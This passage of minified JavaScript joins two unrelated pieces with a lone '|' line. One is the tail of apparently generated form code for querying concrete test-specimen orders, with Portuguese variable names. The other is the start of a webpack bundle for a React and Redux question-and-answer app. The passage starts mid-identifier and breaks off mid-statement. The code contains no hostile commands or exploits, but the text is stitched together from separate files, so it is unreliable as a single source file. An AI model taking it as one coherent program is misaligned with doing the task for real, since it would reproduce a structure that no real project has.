oncretoresistencia=0;this.ZV57TipoConcretoresistencia=0;this.OV57TipoConcretoresistencia=0;this.AV56TipoConcretoDimensaoDesc="";this.ZV56TipoConcretoDimensaoDesc="";this.OV56TipoConcretoDimensaoDesc="";this.Z11340PedidoCPCNumero=0;this.O11340PedidoCPCNumero=0;this.Z11339PedidoCPCAno=0;this.O11339PedidoCPCAno=0;this.Z11350CorpoProvaSerie=0;this.O11350CorpoProvaSerie=0;this.Z11379CorpoProvaCertificado=0;this.O11379CorpoProvaCertificado=0;this.Z11380CorpoProvaDataAmostragem=gx.date.nullDate();this.O11380CorpoProvaDataAmostragem=gx.date.nullDate();this.Z11381CorpoProvaHoraAmostragem="";this.O11381CorpoProvaHoraAmostragem="";this.Z11382CorpoProvaObservacao="";this.O11382CorpoProvaObservacao="";this.ZV67BmpImp="";this.OV67BmpImp="";this.ZV5bmpAlt="";this.OV5bmpAlt="";this.AV17PedidoCPCAno=0;this.AV25PedidoCPCNumero=0;this.AV27PedidoCPCObraCodigo=0;this.AV28PedidoCPCObraNome="";this.AV66PedidoCPCOBraRazaoSocial="";this.AV20PedidoCPCData=gx.date.nullDate();this.AV26PedidoCPCNumeroLacre=0;this.AV31PedidoCPCTipoConcretoCodigo=0;this.AV32PedidoCPCTipoConcretoDesc="";this.AV55TipoConcretoConDesc="";this.AV53TipoConcretoAgreGraudoDesc="";this.AV54TipoConcretoCimentoDesc="";this.AV58TipoConcretoSlumpDesc="";this.AV29PedidoCPCQtdeConcreto=0;this.AV57TipoConcretoresistencia=0;this.AV56TipoConcretoDimensaoDesc="";this.A11340PedidoCPCNumero=0;this.A11339PedidoCPCAno=0;this.A11350CorpoProvaSerie=0;this.A11379CorpoProvaCertificado=0;this.A11380CorpoProvaDataAmostragem=gx.date.nullDate();this.A11381CorpoProvaHoraAmostragem="";this.A11382CorpoProvaObservacao="";this.AV67BmpImp="";this.AV5bmpAlt="";this.A11450PedidoCPCEmpresaId="";this.A11363PedidoCPCQtCorpoProva="";this.A11321TipoConcretoCodigo=0;this.A11386TipoConcretoConDesc="";this.A11388TipoConcretoAgreGraudoDesc="";this.A11390TipoConcretoCimentoDesc="";this.A11391TipoConcretoSlumpDesc="";this.A11389TipoConcretoDimensaoDesc="";this.A11392TipoConcretoResistencia=0;this.A11461TipoConcretoConEmpId="";this.A11322TipoConcretoConTipo="";this.A11323TipoConcretoConCod="";this.A11462TipoConcretoAgreGraudoEmpId="";this.A11324TipoConcretoAgreGraudoTipo="";this.A11325TipoConcretoAgreGraudoCod="";this.A11463TipoConcretoDimensaoEmpId="";this.A11326TipoConcretoDimensaoTipo="";this.A11327TipoConcretoDimensaoCod="";this.A11464TipoConcretoCimentoEmpId="";this.A11328TipoConcretoCimentoTipo="";this.A11329TipoConcretoCimentoCod="";this.A11465TipoConcretoSlumpEmpId="";this.A11330TipoConcretoSlumpTipo="";this.A11331TipoConcretoSlumpCod="";this.A11353PedidoCPCData=gx.date.nullDate();this.A11358PedidoCPCNumeroLacre=0;this.A11344PedidoCPCObraCodigo=0;this.A11371PedidoCPCObraNome="";this.A11444PedidoCPCOBraRazaoSocial="";this.A11349PedidoCPCTipoConcretoCodigo=0;this.A11373PedidoCPCTipoConcretoDesc="";this.A11367PedidoCPCQtdeConcreto=0;this.A11451PedidoCPCTipoConcretoEmpresaId="";this.A11343PedidoCPCObraEmpresaId="";this.A11317ObraPessoaEmpresaId="";this.A227EmpresaPessoasEmpresaId="";this.A11364PedidoCPCObraPessoaId=0;this.Events={e112eb2_client:["'CONFIRMAR'",!0],e132eb2_client:["'ALTERAR'",!0],e142eb2_client:["'IMPRIMIRCORPOPROVA'",!0],e162eb2_client:["ENTER",!0],e172eb1_client:["CANCEL",!0]};this.EvtParms.REFRESH=[[{av:"GRID_nFirstRecordOnPage"},{av:"GRID_nEOF"},{av:"subGrid_Rows"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV5bmpAlt",fld:"vBMPALT"},{av:'gx.fn.getCtrlProperty("vBMPALT","Tooltiptext")',ctrl:"vBMPALT",prop:"Tooltiptext"},{av:"AV67BmpImp",fld:"vBMPIMP"},{av:'gx.fn.getCtrlProperty("vBMPIMP","Tooltiptext")',ctrl:"vBMPIMP",prop:"Tooltiptext"}],[]];this.EvtParms["'CONFIRMAR'"]=[[{av:"AV73PedidoCPCQtCorpoProva",fld:"vPEDIDOCPCQTCORPOPROVA"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV72CorpoProvaSerie",fld:"vCORPOPROVASERIE"},{av:"A11450PedidoCPCEmpresaId",fld:"PEDIDOCPCEMPRESAID"},{av:"AV71PedidoCPCEmpresaId",fld:"vPEDIDOCPCEMPRESAID"},{av:"A11339PedidoCPCAno",fld:"PEDIDOCPCANO"},{av:"A11340PedidoCPCNumero",fld:"PEDIDOCPCNUMERO"},{av:"A11363PedidoCPCQtCorpoProva",fld:"PEDIDOCPCQTCORPOPROVA"},{av:"A11350CorpoProvaSerie",fld:"CORPOPROVASERIE"}],[{av:"AV72CorpoProvaSerie",fld:"vCORPOPROVASERIE"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV73PedidoCPCQtCorpoProva",fld:"vPEDIDOCPCQTCORPOPROVA"}]];this.EvtParms["'ALTERAR'"]=[[{av:"A11339PedidoCPCAno",fld:"PEDIDOCPCANO"},{av:"A11340PedidoCPCNumero",fld:"PEDIDOCPCNUMERO"},{av:"A11350CorpoProvaSerie",fld:"CORPOPROVASERIE"}],[{av:"A11350CorpoProvaSerie",fld:"CORPOPROVASERIE"},{av:"A11340PedidoCPCNumero",fld:"PEDIDOCPCNUMERO"},{av:"A11339PedidoCPCAno",fld:"PEDIDOCPCANO"}]];this.EvtParms["'IMPRIMIRCORPOPROVA'"]=[[{av:"AV76Pgmname",fld:"vPGMNAME"},{av:"AV6EmpresaLogadaId",fld:"vEMPRESALOGADAID"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"A11350CorpoProvaSerie",fld:"CORPOPROVASERIE"},{av:"AV77Pgmdesc",fld:"vPGMDESC"}],[{av:"AV69NomeRelativo",fld:"vNOMERELATIVO"},{av:"AV68NomeAbsoluto",fld:"vNOMEABSOLUTO"},{av:"AV70QtdPagGeradas",fld:"vQTDPAGGERADAS"},{av:"A11350CorpoProvaSerie",fld:"CORPOPROVASERIE"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV6EmpresaLogadaId",fld:"vEMPRESALOGADAID"}]];this.EvtParms.GRID_FIRSTPAGE=[[{av:"GRID_nFirstRecordOnPage"},{av:"GRID_nEOF"},{av:"subGrid_Rows"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV5bmpAlt",fld:"vBMPALT"},{av:'gx.fn.getCtrlProperty("vBMPALT","Tooltiptext")',ctrl:"vBMPALT",prop:"Tooltiptext"},{av:"AV67BmpImp",fld:"vBMPIMP"},{av:'gx.fn.getCtrlProperty("vBMPIMP","Tooltiptext")',ctrl:"vBMPIMP",prop:"Tooltiptext"}],[]];this.EvtParms.GRID_PREVPAGE=[[{av:"GRID_nFirstRecordOnPage"},{av:"GRID_nEOF"},{av:"subGrid_Rows"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV5bmpAlt",fld:"vBMPALT"},{av:'gx.fn.getCtrlProperty("vBMPALT","Tooltiptext")',ctrl:"vBMPALT",prop:"Tooltiptext"},{av:"AV67BmpImp",fld:"vBMPIMP"},{av:'gx.fn.getCtrlProperty("vBMPIMP","Tooltiptext")',ctrl:"vBMPIMP",prop:"Tooltiptext"}],[]];this.EvtParms.GRID_NEXTPAGE=[[{av:"GRID_nFirstRecordOnPage"},{av:"GRID_nEOF"},{av:"subGrid_Rows"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV5bmpAlt",fld:"vBMPALT"},{av:'gx.fn.getCtrlProperty("vBMPALT","Tooltiptext")',ctrl:"vBMPALT",prop:"Tooltiptext"},{av:"AV67BmpImp",fld:"vBMPIMP"},{av:'gx.fn.getCtrlProperty("vBMPIMP","Tooltiptext")',ctrl:"vBMPIMP",prop:"Tooltiptext"}],[]];this.EvtParms.GRID_LASTPAGE=[[{av:"GRID_nFirstRecordOnPage"},{av:"GRID_nEOF"},{av:"subGrid_Rows"},{av:"AV17PedidoCPCAno",fld:"vPEDIDOCPCANO"},{av:"AV25PedidoCPCNumero",fld:"vPEDIDOCPCNUMERO"},{av:"AV5bmpAlt",fld:"vBMPALT"},{av:'gx.fn.getCtrlProperty("vBMPALT","Tooltiptext")',ctrl:"vBMPALT",prop:"Tooltiptext"},{av:"AV67BmpImp",fld:"vBMPIMP"},{av:'gx.fn.getCtrlProperty("vBMPIMP","Tooltiptext")',ctrl:"vBMPIMP",prop:"Tooltiptext"}],[]];t.addRefreshingVar(this.GXValidFnc[22]);t.addRefreshingVar(this.GXValidFnc[26]);t.addRefreshingVar({rfrVar:"AV5bmpAlt",rfrProp:"Value",gxAttId:"Bmpalt"});t.addRefreshingVar({rfrVar:"AV5bmpAlt",rfrProp:"Tooltiptext",gxAttId:"Bmpalt"});t.addRefreshingVar({rfrVar:"AV67BmpImp",rfrProp:"Value",gxAttId:"Bmpimp"});t.addRefreshingVar({rfrVar:"AV67BmpImp",rfrProp:"Tooltiptext",gxAttId:"Bmpimp"});this.InitStandaloneVars()});gx.setParentObj(new hconsultarcorpoprova)
|
!function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={exports:{},id:r,loaded:!1};return e[r].call(o.exports,o,o.exports,t),o.loaded=!0,o.exports}var n={};return t.m=e,t.c=n,t.p="",t(0)}([function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}var o=n(122),a=n(439),i=r(a),u=n(297),s=r(u),c=n(437),l=r(c),p=n(309),f=r(p),d=n(6),h=r(d),v=n(22),m=n(15),g=n(313),y=r(g),E=n(300),b=r(E),_=n(302),N=r(_),O=n(306),w=r(O),x=n(305),D=r(x),C=n(308),P=r(C),M=n(307),R=r(M),S=n(304),T=r(S),I=n(303),k=r(I),A=n(301),j=r(A),L=n(299),V=r(L);n(296);var U={version:"201509141044"},F=o.applyMiddleware(i["default"],s["default"],l["default"])(o.createStore)(f["default"],U);h["default"].render(h["default"].createElement(v.Provider,{store:F},function(){return h["default"].createElement(m.Router,{history:y["default"]()},h["default"].createElement(m.Route,{path:"/",component:b["default"]},h["default"].createElement(m.IndexRoute,{component:N["default"]}),h["default"].createElement(m.Route,{path:"/search",component:w["default"]}),h["default"].createElement(m.Route,{path:"/question/:id",component:D["default"]}),h["default"].createElement(m.Route,{path:"/tags",component:P["default"]}),h["default"].createElement(m.Route,{path:"/tags/:tag",component:R["default"]}),h["default"].createElement(m.Route,{path:"/profile",component:T["default"]},h["default"].createElement(m.IndexRoute,{component:k["default"]}),h["default"].createElement(m.Route,{path:"favorites",component:j["default"]}),h["default"].createElement(m.Route,{path:"answers",component:V["default"]}))))}),document.getElementById("root"))},function(e,t,n){var r=n(11),o=n(31),a=n(23),i=n(25),u="prototype",s=function(e,t){return function(){return e.apply(t,arguments)}},c=function(e,t,n){var l,p,f,d,h=e&c.G,v=e&c.P,m=h?r:e&c.S?r[t]||(r[t]={}):(r[t]||{})[u],g=h?o:o[t]||(o[t]={});h&&(n=t);for(l in n)p=!(e&c.F)&&m&&l in m,f=(p?m:n)[l],d=e&c.B&&p?s(f,r):v&&"function"==typeof f?s(Function.call,f):f,m&&!p&&i(m,l,f),g[l]!=f&&a(g,l,d),v&&((g[u]||(g[u]={}))[l]=f)};r.core=o,c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,e.exports=c},function(e,t){function n(){c=!1,i.length?s=i.concat(s):l=-1,s.length&&r()}function r(){if(!c){var e=setTimeout(n);c=!0;for(var t=s.length;t;){for(i=s,s=[];++l<t;)i&&i[l].run();l=-1,t=s.length}i=null,c=!1,clearTimeout(e)}}function o(e,t){this.fun=e,this.array=t}function a(){}var i,u=e.exports={},s=[],c=!1,l=-1;u.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];s.push(new o(e,t)),1!==s.length||c||setTimeout(r,0)},o.prototype.run=function(){this.fun.apply(null,this.array)},u.title="browser",u.browser=!0,u.env={},u.argv=[],u.version="",u.versions={},u.on=a,u.addListener=a,u.once=a,u.off=a,u.removeListener=a,u.removeAllListeners=a,u.emit=a,u.binding=function(e){throw new Error("process.binding is not supported")},u.cwd=function(){return"/"},u.chdir=function(e){throw new Error("process.chdir is not supported")},u.umask=function(){return 0}},function(e,t,n){(function(t){"use strict";var n=function(e,n,r,o,a,i,u,s){if("production"!==t.env.NODE_ENV&&void 0===n)throw new Error("invariant requires an error message argument");if(!e){var c;if(void 0===n)c=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var l=[r,o,a,i,u,s],p=0;c=new Error("Invariant Violation: "+n.replace(/%s/g,function(){return l[p++]}))}throw c.framesToPop=1,c}};e.exports=n}).call(t,n(2))},function(e,t){var n=Object;e.exports={create:n.create,getProto:n.getPrototypeOf,isEnum:{}.propertyIsEnumerable,getDesc:n.getOwnPropertyDescriptor,setDesc:n.defineProperty,setDescs:n.defineProperties,getKeys:n.keys,getNames:n.getOwnPropertyNames,getSymbols:n.getOwnPropertySymbols,each:[].forEach}},function(e,t){"use strict";function n(e,t){if(null==e)throw new TypeError("Object.assign target cannot be null or undefined");for(var n=Object(e),r=Object.prototype.hasOwnProperty,o=1;o<arguments.length;o++){var a=arguments[o];if(null!=a){var i=Object(a);for(var u in i)r.call(i,u)&&(n[u]=i[u])}}return n}e.exports=n},function(e,t,n){e.exports=n(372)},function(e,t,n){(function(t){"use strict";function r(e,n){Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:function(){return this._store?this._store[n]:null},set:function(e){"production"!==t.env.NODE_ENV?s(!1,"Don't set the %s property of the React element. Instead, specify the correct value when initially creating the element.",n):null,this._store[n]=e}})}function o(e){try{var t={props:!0};for(var n in t)r(e,n);l=!0}catch(o){}}var a=n(107),i=n(36),u=n(5),s=n(8),c={key:!0,ref:!0},l=!1,p=function(e,n,r,o,a,i){if(this.type=e,this.key=n,this.ref=r,this._owner=o,this._context=a,"production"!==t.env.NODE_ENV){this._store={props:i,originalProps:u({},i)};try{Object.defineProperty(this._store,"validated",{configurable:!1,enumerable:!1,writable:!0})}catch(s){}if(this._store.validated=!1,l)return void Object.freeze(this)}this.props=i};p.prototype={_isReactElement:!0},"production"!==t.env.NODE_ENV&&o(p.prototype),p.createElement=function(e,t,n){var r,o={},u=null,s=null;if(null!=t){s=void 0===t.ref?null:t.ref,u=void 0===t.key?null:""+t.key;for(r in t)t.hasOwnProperty(r)&&!c.hasOwnProperty(r)&&(o[r]=t[r])}var l=arguments.length-2;if(1===l)o.children=n;else if(l>1){for(var f=Array(l),d=0;l>d;d++)f[d]=arguments[d+2];o.children=f}if(e&&e.defaultProps){var h=e.defaultProps;for(r in h)"undefined"==typeof o[r]&&(o[r]=h[r])}return new p(e,u,s,i.current,a.current,o)},p.createFactory=function(e){var t=p.createElement.bind(null,e);return t.type=e,t},p.cloneAndReplaceProps=function(e,n){var r=new p(e.type,e.key,e.ref,e._owner,e._context,n);return"production"!==t.env.NODE_ENV&&(r._store.validated=e._store.validated),r},p.cloneElement=function(e,t,n){var r,o=u({},e.props),a=e.key,s=e.ref,l=e._owner;if(null!=t){void 0!==t.ref&&(s=t.ref,l=i.current),void 0!==t.key&&(a=""+t.key);for(r in t)t.hasOwnProperty(r)&&!c.hasOwnProperty(r)&&(o[r]=t[r])}var f=arguments.length-2;if(1===f)o.children=n;else if(f>1){for(var d=Array(f),h=0;f>h;h++)d[h]=arguments[h+2];o.children=d}return new p(e.type,a,s,l,e._context,o)},p.isValidElement=function(e){var t=!(!e||!e._isReactElement);return t},e.exports=p}).call(t,n(2))},function(e,t,n){(function(t){"use strict";var r=n(41),o=r;"production"!==t.env.NODE_ENV&&(o=function(e,t){for(var n=[],r=2,o=arguments.length;o>r;r++)n.push(arguments[r]);if(void 0===t)throw new Error("`warning(condition, format, ...args)` requires a warning message argument");if(t.length<10||/^[s\W]*$/.test(t))throw new Error("The warning format should be able to uniquely identify this warning. Please, use a more descriptive format than: "+t);if(0!==t.indexOf("Failed Composite propType: ")&&!e){var a=0,i="Warning: "+t.replace(/%s/g,function(){return n[a++]});console.warn(i);try{throw new Error(i)}catch(u){}}}),e.exports=o}).call(t,n(2))},function(e,t){e.exports=function(e){return null!==e&&("object"==typeof e||"function"==typeof e)}},function(e,t,n){var r=n(9);e.exports=function(e){if(!r(e))throw TypeError(e+" is not an object!");return e}},function(e,t){var n="undefined",r=e.exports=typeof window!=n&&window.Math==Math?window:typeof self!=n&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=r)},function(e,t){"use strict";var n=!("undefined"==typeof window||!window.document||!window.document.createElement),r={canUseDOM:n,canUseWorkers:"undefined"!=typeof Worker,canUseEventListeners:n&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:n&&!!window.screen,isInWorker:!n};e.exports=r},function(e,t){e.exports=function(e){try{return!!e()}catch(t){return!0}}},function(e,t,n){var r=n(141)("wks"),o=n(11).Symbol;e.exports=function(e){return r[e]||(r[e]=o&&o[e]||(o||n(44))("Symbol."+e))}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}t.__esModule=!0;var o=n(341),a=r(o);t.Router=a["default"];var i=n(337),u=r(i);t.Link=u["default"];var s=n(335),c=r(s);t.IndexRoute=c["default"];var l=n(338),p=r(l);t.Redirect=p["default"];var f=n(339),d=r(f);t.Route=d["default"];var h=n(334),v=r(h);t.History=v["default"];var m=n(336),g=r(m);t.Lifecycle=g["default"];var y=n(340),E=r(y);t.RouteContext=E["default"];var b=n(100),_=r(b);t.useRoutes=_["default"];var N=n(45);t.createRoutes=N.createRoutes;var O=n(153),w=r(O);t.RoutingContext=w["default"];var x=n(49),D=r(x);t.PropTypes=D["default"];var C=n(347),P=r(C);t.match=P["default"];var M=r(o);t["default"]=M["default"]},function(e,t){"use strict";function n(e){var t=e.endpoint,n=e.expiresMinutes,r=e.datapointer,o=void 0===r?t:r,a=e.forceExpire,u=e.auth,s=e.method,c=e.nosite;return function(e,r){var l=r().data[o],p=r().user.access_token;return u&&!p?null:l&&"undefined"!=typeof l.expires&&!a&&l.expires>(new Date).getTime()?null:l&&l.IS_LOADING?null:l&&l.error_id?null:e({type:i,endpoint:t,expiresMinutes:n,datapointer:o,auth:u,method:s,nosite:c})}}function r(){return{type:c}}function o(){return{type:f}}function a(e){var t=e.datapointer;return{type:d,datapointer:t}}Object.defineProperty(t,"__esModule",{value:!0}),t.loadDataFromApi=n,t.login=r,t.logout=o,t.expireData=a;var i="API_REQUEST";t.API_REQUEST=i;var u="API_RESPONSE";t.API_RESPONSE=u;var s="API_ERROR";t.API_ERROR=s;var c="AUTH_REQUEST";t.AUTH_REQUEST=c;var l="AUTH_COMPLETE";t.AUTH_COMPLETE=l;var p="AUTH_ERROR";t.AUTH_ERROR=p;var f="LOGOUT";t.LOGOUT=f;var d="EXPIRE_DATA";t.EXPIRE_DATA=d},function(e,t,n){function r(e,t,n){var r=null==e?void 0:o(e,a(t),t+"");return void 0===r?n:r}var o=n(318),a=n(323);e.exports=r},function(e,t,n){"use strict";var r=n(67),o=r({bubbled:null,captured:null}),a=r({topBlur:null,topChange:null,topClick:null,topCompositionEnd:null,topCompositionStart:null,topCompositionUpdate:null,topContextMenu:null,topCopy:null,topCut:null,topDoubleClick:null,topDrag:null,topDragEnd:null,topDragEnter:null,topDragExit:null,topDragLeave:null,topDragOver:null,topDragStart:null,topDrop:null,topError:null,topFocus:null,topInput:null,topKeyDown:null,topKeyPress:null,topKeyUp:null,topLoad:null,topMouseDown:null,topMouseMove:null,topMouseOut:null,topMouseOver:null,topMouseUp:null,topPaste:null,topReset:null,topScroll:null,topSelectionChange:null,topSubmit:null,topTextInput:null,topTouchCancel:null,topTouchEnd:null,topTouchMove:null,topTouchStart:null,topWheel:null}),i={topLevelTypes:a,PropagationPhases:o};e.exports=i},function(e,t,n){(function(t){"use strict";function r(e,n,r){for(var o in n)n.hasOwnProperty(o)&&("production"!==t.env.NODE_ENV?x("function"==typeof n[o],"%s: %s type `%s` is invalid; it must be a function, usually from React.PropTypes.",e.displayName||"ReactClass",E[r],o):null)}function o(e,n){var r=M.hasOwnProperty(n)?M[n]:null;T.hasOwnProperty(n)&&("production"!==t.env.NODE_ENV?N(r===C.OVERRIDE_BASE,"ReactClassInterface: You are attempting to override `%s` from your class specification. Ensure that your method names do not overlap with React methods.",n):N(r===C.OVERRIDE_BASE)),e.hasOwnProperty(n)&&("production"!==t.env.NODE_ENV?N(r===C.DEFINE_MANY||r===C.DEFINE_MANY_MERGED,"ReactClassInterface: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.",n):N(r===C.DEFINE_MANY||r===C.DEFINE_MANY_MERGED))}function a(e,n){if(n){"production"!==t.env.NODE_ENV?N("function"!=typeof n,"ReactClass: You're attempting to use a component class as a mixin. Instead, just use a regular object."):N("function"!=typeof n),"production"!==t.env.NODE_ENV?N(!h.isValidElement(n),"ReactClass: You're attempting to use a component as a mixin. Instead, just use a regular object."):N(!h.isValidElement(n));var r=e.prototype;n.hasOwnProperty(D)&&R.mixins(e,n.mixins);for(var a in n)if(n.hasOwnProperty(a)&&a!==D){var i=n[a];if(o(r,a),R.hasOwnProperty(a))R[a](e,i);else{var u=M.hasOwnProperty(a),l=r.hasOwnProperty(a),p=i&&i.__reactDontBind,f="function"==typeof i,d=f&&!u&&!l&&!p;if(d)r.__reactAutoBindMap||(r.__reactAutoBindMap={}),r.__reactAutoBindMap[a]=i,r[a]=i;else if(l){var v=M[a];"production"!==t.env.NODE_ENV?N(u&&(v===C.DEFINE_MANY_MERGED||v===C.DEFINE_MANY),"ReactClass: Unexpected spec policy %s for key %s when mixing in component specs.",v,a):N(u&&(v===C.DEFINE_MANY_MERGED||v===C.DEFINE_MANY)),v===C.DEFINE_MANY_MERGED?r[a]=s(r[a],i):v===C.DEFINE_MANY&&(r[a]=c(r[a],i))}else r[a]=i,"production"!==t.env.NODE_ENV&&"function"==typeof i&&n.displayName&&(r[a].displayName=n.displayName+"_"+a)}}}}function i(e,n){if(n)for(var r in n){var o=n[r];if(n.hasOwnProperty(r)){var a=r in R;"production"!==t.env.NODE_ENV?N(!a,'ReactClass: You are attempting to define a reserved property, `%s`, that shouldn\'t be on the "statics" key. Define it as an instance property instead; it will still be accessible on the constructor.',r):N(!a);var i=r in e;"production"!==t.env.NODE_ENV?N(!i,"ReactClass: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.",r):N(!i),e[r]=o}}}function u(e,n){"production"!==t.env.NODE_ENV?N(e&&n&&"object"==typeof e&&"object"==typeof n,"mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects."):N(e&&n&&"object"==typeof e&&"object"==typeof n);for(var r in n)n.hasOwnProperty(r)&&("production"!==t.env.NODE_ENV?N(void 0===e[r],"mergeIntoWithNoDuplicateKeys(): Tried to merge two objects with the same key: `%s`. This conflict may be due to a mixin; in particular, this may be caused by two getInitialState() or getDefaultProps() methods returning objects with clashing keys.",r):N(void 0===e[r]),e[r]=n[r]);return e}function s(e,t){return function(){var n=e.apply(this,arguments),r=t.apply(this,arguments);if(null==n)return r;if(null==r)return n;var o={};return u(o,n),u(o,r),o}}function c(e,t){return function(){e.apply(this,arguments),t.apply(this,arguments)}}function l(e,n){var r=n.bind(e);if("production"!==t.env.NODE_ENV){r.__reactBoundContext=e,r.__reactBoundMethod=n,r.__reactBoundArguments=null;var o=e.constructor.displayName,a=r.bind;r.bind=function(i){for(var u=[],s=1,c=arguments.length;c>s;s++)u.push(arguments[s]);if(i!==e&&null!==i)"production"!==t.env.NODE_ENV?x(!1,"bind(): React component methods may only be bound to the component instance. See %s",o):null;else if(!u.length)return"production"!==t.env.NODE_ENV?x(!1,"bind(): You are binding a component method to the component. React does this for you automatically in a high-performance way, so you can safely remove this call. See %s",o):null,r;var l=a.apply(r,arguments);return l.__reactBoundContext=e,l.__reactBoundMethod=n,l.__reactBoundArguments=u,l}}return r}function p(e){for(var t in e.__reactAutoBindMap)if(e.__reactAutoBindMap.hasOwnProperty(t)){var n=e.__reactAutoBindMap[t];e[t]=l(e,v.guard(n,e.constructor.displayName+"."+t))}}var f=n(161),d=n(36),h=n(7),v=n(390),m=n(52),g=n(110),y=n(111),E=n(82),b=n(112),_=n(5),N=n(3),O=n(67),w=n(42),x=n(8),D=w({mixins:null}),C=O({DEFINE_ONCE:null,DEFINE_MANY:null,OVERRIDE_BASE:null,DEFINE_MANY_MERGED:null}),P=[],M={mixins:C.DEFINE_MANY,statics:C.DEFINE_MANY,propTypes:C.DEFINE_MANY,contextTypes:C.DEFINE_MANY,childContextTypes:C.DEFINE_MANY,getDefaultProps:C.DEFINE_MANY_MERGED,getInitialState:C.DEFINE_MANY_MERGED,getChildContext:C.DEFINE_MANY_MERGED,render:C.DEFINE_ONCE,componentWillMount:C.DEFINE_MANY,componentDidMount:C.DEFINE_MANY,componentWillReceiveProps:C.DEFINE_MANY,shouldComponentUpdate:C.DEFINE_ONCE,componentWillUpdate:C.DEFINE_MANY,componentDidUpdate:C.DEFINE_MANY,componentWillUnmount:C.DEFINE_MANY,updateComponent:C.OVERRIDE_BASE},R={displayName:function(e,t){e.displayName=t},mixins:function(e,t){if(t)for(var n=0;n<t.length;n++)a(e,t[n])},childContextTypes:function(e,n){"production"!==t.env.NODE_ENV&&r(e,n,y.childContext),e.childContextTypes=_({},e.childContextTypes,n)},contextTypes:function(e,n){"production"!==t.env.NODE_ENV&&r(e,n,y.context),e.contextTypes=_({},e.contextTypes,n)},getDefaultProps:function(e,t){e.getDefaultProps?e.getDefaultProps=s(e.getDefaultProps,t):e.getDefaultProps=t},propTypes:function(e,n){"production"!==t.env.NODE_ENV&&r(e,n,y.prop),e.propTypes=_({},e.propTypes,n)},statics:function(e,t){i(e,t)}},S={enumerable:!1,get:function(){var e=this.displayName||this.name||"Component";return"production"!==t.env.NODE_ENV?x(!1,"%s.type is deprecated. Use %s directly to access the class.",e,e):null,Object.defineProperty(this,"type",{value:this}),this}},T={replaceState:function(e,t){b.enqueueReplaceState(this,e),t&&b.enqueueCallback(this,t)},isMounted:function(){if("production"!==t.env.NODE_ENV){var e=d.current;null!==e&&("production"!==t.env.NODE_ENV?x(e._warnedAboutRefsInRender,"%s is accessing isMounted inside its render() function. render() should be a pure function of props and state. It should never access something that requires stale data from the previous render, such as refs. Move this logic to componentDidMount and componentDidUpdate instead.",e.getName()||"A component"):null,e._warnedAboutRefsInRender=!0)}var n=m.get(this);return n&&n!==g.currentlyMountingInstance},setProps:function(e,t){b.enqueueSetProps(this,e),t&&b.enqueueCallback(this,t)},replaceProps:function(e,t){b.enqueueReplaceProps(this,e),t&&b.enqueueCallback(this,t)}},I=function(){};_(I.prototype,f.prototype,T);var k={createClass:function(e){var n=function(e,r){"production"!==t.env.NODE_ENV&&("production"!==t.env.NODE_ENV?x(this instanceof n,"Something is calling a React component directly. Use a factory or JSX instead. See: https://fb.me/react-legacyfactory"):null),this.__reactAutoBindMap&&p(this),this.props=e,this.context=r,this.state=null;var o=this.getInitialState?this.getInitialState():null;"production"!==t.env.NODE_ENV&&"undefined"==typeof o&&this.getInitialState._isMockFunction&&(o=null),"production"!==t.env.NODE_ENV?N("object"==typeof o&&!Array.isArray(o),"%s.getInitialState(): must return an object or null",n.displayName||"ReactCompositeComponent"):N("object"==typeof o&&!Array.isArray(o)),this.state=o};n.prototype=new I,n.prototype.constructor=n,P.forEach(a.bind(null,n)),a(n,e),n.getDefaultProps&&(n.defaultProps=n.getDefaultProps()),"production"!==t.env.NODE_ENV&&(n.getDefaultProps&&(n.getDefaultProps.isReactClassApproved={}),n.prototype.getInitialState&&(n.prototype.getInitialState.isReactClassApproved={})),"production"!==t.env.NODE_ENV?N(n.prototype.render,"createClass(...): Class specification must implement a `render` method."):N(n.prototype.render),"production"!==t.env.NODE_ENV&&("production"!==t.env.NODE_ENV?x(!n.prototype.componentShouldUpdate,"%s has a method called componentShouldUpdate(). Did you mean shouldComponentUpdate()? The name is phrased as a question because the function is expected to return a value.",e.displayName||"A component"):null);for(var r in M)n.prototype[r]||(n.prototype[r]=null);if(n.type=n,"production"!==t.env.NODE_ENV)try{Object.defineProperty(n,"type",S)}catch(o){}return n},injection:{injectMixin:function(e){P.push(e)}}};e.exports=k}).call(t,n(2))},function(e,t){var n={}.hasOwnProperty;e.exports=function(e,t){return n.call(e,t)}},function(e,t,n){var r=n(59),o=Math.min;e.exports=function(e){return e>0?o(r(e),9007199254740991):0}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}t.__esModule=!0;var 